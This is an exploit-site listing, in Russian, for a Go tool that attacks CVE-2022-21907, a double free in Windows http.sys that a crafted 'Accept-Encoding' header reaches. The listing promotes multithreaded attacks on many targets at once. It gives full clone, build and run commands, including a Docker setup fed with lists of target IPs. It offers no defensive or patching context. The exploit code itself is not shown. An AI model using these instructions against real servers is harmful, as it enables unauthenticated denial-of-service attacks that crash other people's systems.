Exploit for cve-2022-21907 CVE-2022-21907

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IVERESK-CVE-2022-21907
# CVE-2022-21907 Приложение на Golang от 1vere$k

CVE-2022-21907 - Двойное освобождение в драйвере http.sys.

## Краткое описание

Это многопоточное приложение на Golang, которое позволяет отправлять запросы на несколько целей одновременно.  
Не очень производительно с POST-запросами, но обеспечивает почти 30% ускорения по сравнению с линейным методом.  
Неаутентифицированный злоумышленник может отправить HTTP-запрос с заголовком "Accept-Encoding", вызывающий двойное освобождение в неизвестном списке кодировок внутри стека протокола HTTP (http.sys) при обработке пакетов, что приводит к краху ядра.

## Использование

**Golang** :

root@kitploit:~
    
    
    Golang:
    1. git clone https://github.com/iveresk/cve-2022-21907.git
    2. cd cve-2022-21907
    3. go build cve-2022-21907.go -o /cve-2022-21907
    4. chmod +x cve-2022-21907
    5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
    

**Docker Building Local** :

root@kitploit:~
    
    
    1. git clone https://github.com/iveresk/cve-2022-21907.git
    2. cd cve-2022-21907
    3. nano input.txt [input here your target's IPs in the list]
    4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> . 
    [In Docker there is a default file named as "input.txt", but you may specify your own one]
    5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>